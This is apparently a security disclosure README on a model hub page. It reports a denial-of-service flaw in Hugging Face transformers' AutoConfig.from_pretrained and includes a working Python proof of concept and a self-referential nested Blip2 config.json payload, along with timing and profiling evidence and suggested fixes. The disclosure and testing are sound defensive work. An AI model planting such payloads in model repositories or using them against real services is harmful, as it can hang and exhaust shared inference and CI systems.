You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Super-linear (cubic) CPU DoS via self-referential nested sub-config in config.json reaching AutoConfig.from_pretrained (Blip2Config text_config recursion + to_diff_dict deepcopy)

Summary

transformers' composite ("multimodal") config classes construct their nested sub-configs from the sub-dict's own model_type field. For Blip2Config, the nested text_config model type is looked up in CONFIG_MAPPING and instantiated. Because CONFIG_MAPPING["blip-2"] resolves back to Blip2Config itself, an attacker can set the nested text_config's model_type to "blip-2" and nest it self-referentially to arbitrary depth, so every JSON level recursively constructs another full composite config.

Compounding this, PreTrainedConfig.from_dict unconditionally builds the config's repr string via an f-string (logger.info(f"Model config {config}")) that is evaluated regardless of the effective log level. That triggers __repr__ -> to_json_string -> to_diff_dict -> to_dict -> copy.deepcopy(self.__dict__), which walks the entire attacker-controlled nested tree and instantiates a fresh default config at every level to diff against. The net effect is super-linear (empirically ~cubic) wall-clock time in the JSON nesting depth. There is no depth / count / size guard on the nested sub-config chain.

A few KB of pure JSON (no weights, no trust_remote_code, no network, no torch/model execution) turns into minutes-to-hours of pure CPU plus OOM-adjacent memory pressure from repeated full-tree deepcopy โ€” a hard, unauthenticated denial of service triggered by simply loading an untrusted model directory with AutoConfig.from_pretrained.

Affected target

  • Package: transformers (Hugging Face)
  • Version tested: 5.14.1 (installed, from PyPI)
  • Python: 3.13
  • Entry point: transformers.AutoConfig.from_pretrained(<dir>) on an attacker-supplied config.json.
  • No trust_remote_code, no network, no weights, no torch execution path.

Root cause

1. Self-referential composite sub-config construction

transformers/models/blip_2/configuration_blip_2.py, Blip2Config.__post_init__ (lines ~160-166):

def __post_init__(self, **kwargs):
    if self.text_config is None:
        self.text_config = CONFIG_MAPPING["opt"]()
        logger.info("text_config is None. Initializing the text config with default values (`OPTConfig`).")
    elif isinstance(self.text_config, dict):
        text_model_type = self.text_config.get("model_type", "opt")
        self.text_config = CONFIG_MAPPING[text_model_type](**self.text_config)   # <-- attacker controls text_model_type

Because CONFIG_MAPPING["blip-2"] is Blip2Config, an attacker sets the nested text_config["model_type"] = "blip-2", so each level constructs another Blip2Config, whose own text_config is again "blip-2", recursively, to any depth the attacker nests the JSON.

2. Unconditional repr + to_diff_dict deepcopy on every level

transformers/configuration_utils.py, PreTrainedConfig.from_dict (~line 894):

logger.info(f"Model config {config}")   # f-string ALWAYS evaluates str(config), regardless of log level

__repr__ (~line 977):

def __repr__(self):
    return f"{self.__class__.__name__} {self.to_json_string()}"

to_json_string -> to_diff_dict (line 985) -> to_dict (line 1050) -> copy.deepcopy(self.__dict__). to_diff_dict also instantiates a fresh default config of the class at every nesting level to compute the "diff", and deepcopy walks the whole attacker-controlled nested tree. Both costs multiply across the depth of the self-referential chain, producing super-linear (~cubic) total time.

Proof of Concept

Build a config.json whose text_config chain is self-referential blip-2 to depth N, then call AutoConfig.from_pretrained on the directory:

import json, os, time
from transformers import AutoConfig

def selfref(depth):
    node = {"model_type": "blip-2"}; root = node
    for _ in range(depth):
        child = {"model_type": "blip-2"}
        node["text_config"] = child
        node = child
    return root

D = "cfgtest"; os.makedirs(D, exist_ok=True)
with open(os.path.join(D, "config.json"), "w") as f:
    json.dump(selfref(100), f)          # ~4 KB of JSON

t = time.time()
AutoConfig.from_pretrained(D)           # burns tens of seconds of pure CPU
print("elapsed", time.time() - t)

config.json for a small (depth-3) example โ€” trivially crafted, arbitrarily deep:

{"model_type":"blip-2","text_config":{"model_type":"blip-2","text_config":{"model_type":"blip-2","text_config":{"model_type":"blip-2"}}}}
  • depth 50 -> ~2 KB JSON
  • depth 100 -> ~4 KB JSON
  • depth 160 -> ~13 KB JSON (already exceeds a 120 s timeout)
  • a few hundred levels (tens of KB) -> effectively unbounded (hours) CPU + OOM-adjacent memory pressure

Captured evidence (verbatim)

Wall-clock scaling and negative controls (transformers 5.14.1, this machine):

NEG flat blip-2 (depth0):            OK t=0.616s type=Blip2Config
NEG blip-2->opt (no self-ref):       OK t=0.614s type=Blip2Config
POS self-ref depth=50   (2074B):     OK t=7.680s type=Blip2Config
POS self-ref depth=100  (4124B):     OK t=47.123s type=Blip2Config
(earlier isolated runs)
depth=120  OK t=78.206s
depth=160  Exit code 143 (SIGTERM, killed at the 120 s timeout)

Independent re-run (fresh, same machine) confirming the blow-up:

NEG flat blip-2 (depth0):            OK t=0.574s type=Blip2Config
NEG blip-2->opt (no self-ref):       OK t=0.571s type=Blip2Config
POS self-ref depth=50 (2074B):       OK t=6.811s type=Blip2Config

cProfile at depth 50 attributes the cost to to_dict -> copy.deepcopy, driven by to_diff_dict:

89830051 function calls in 24.776 seconds
  23.835s from_dict
    -> 23.303s blip_2 __post_init__
      -> 20.353s to_dict (13227 calls)
        -> 15.740s copy.deepcopy (9662098 deepcopy calls)
  caller of to_dict = to_diff_dict (configuration_utils.py:985)

Interpretation

  • The two negative controls (a flat blip-2 config, and a single non-self-referential blip-2 -> opt config) both complete in ~0.6 s regardless of file size, proving the blow-up is not driven by JSON size or by parsing/instantiation cost.
  • The positive cases (self-referential blip-2 -> blip-2 -> ...) scale super-linearly: 7.7 s at depth 50, 47 s at depth 100, 78 s at depth 120 โ€” an ~cubic curve in nesting depth.
  • ~9.66 million deepcopy calls at depth 50 (from to_diff_dict) confirm the repeated full-tree deepcopy is the dominant cost.

Impact

  • Denial of service (unauthenticated / no code execution required). Any pipeline that resolves an untrusted model directory via AutoConfig / AutoModel.from_pretrained (model hubs, inference servers, CI that loads user-supplied models, AutoTrain-style services) can be hung for minutes-to-hours and pushed toward OOM by a few KB of JSON.
  • No weights, no trust_remote_code, no network โ€” only config.json is needed.
  • The self-referential composite pattern is not unique to Blip2: any composite config whose model_type maps back to a composite class (the general CONFIG_MAPPING[sub["model_type"]](**sub) pattern in __post_init__) is a candidate for the same recursion. Blip2 is a concrete, reproduced instance.

Suggested remediation

  • Bound nesting depth / total sub-config count when constructing composite configs from a dict, and reject config.json whose composite sub-config chain exceeds a small constant depth.
  • Reject a sub-config whose model_type resolves to a composite class that re-enters the same construction path (break the self-referential cycle), or detect repeated composite types along the parent chain.
  • Avoid the unconditional logger.info(f"Model config {config}") full-repr serialization in from_dict (guard on logger.isEnabledFor(INFO) before building the string) so a diagnostic log line does not force a full recursive to_diff_dict + deepcopy of an attacker-controlled tree.

Dedup / prior art note

  • This is distinct from other transformers config DoS findings in this program: it is not the integer-allocation config DoS (huntr-poc-transformers-config-integer-alloc-dos), not the generate/merges quadratic issue (huntr-poc-transformers-generate-merges-quadratic-dos), and not the GGUF or feature-extractor / mel / image-processor findings. The specific bug here is the self-referential composite sub-config recursion (Blip2Config.text_config -> blip-2) amplified by to_diff_dict + copy.deepcopy in the unconditional from_dict repr log line.
  • No CVE is known for this specific self-referential composite-config recursion / to_diff_dict deepcopy amplification at time of writing.

Files

  • README.md โ€” this write-up.
  • poc_blip2_selfref.py โ€” PoC driver (self-ref depth sweep + neg_flat / neg_optchain negative controls).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support